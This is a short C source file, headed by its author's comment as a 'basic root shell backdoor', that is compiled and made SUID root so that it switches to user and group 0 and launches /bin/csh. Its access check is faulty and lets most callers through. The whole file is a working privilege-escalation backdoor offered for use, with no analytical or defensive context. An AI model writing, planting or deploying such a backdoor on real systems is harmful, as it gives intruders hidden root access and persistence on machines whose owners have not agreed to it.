/*\    
 *    John L. Sokol
 *    www.dnull.com
 *    Basic root shell backdoor exploit uses SUID to become root
 *    compile and chmod 4755
 *
\*/


#define UID 1004
#define GID 1004

main()
{
	if(UID!=getuid()&&GID==getgid()) {
		printf("Your not authorized go a way!\n");
		exit(1);
	}

	setuid(0);
	seteuid(0);
	setgid(0);
	setegid(0);
	system("/bin/csh");
}
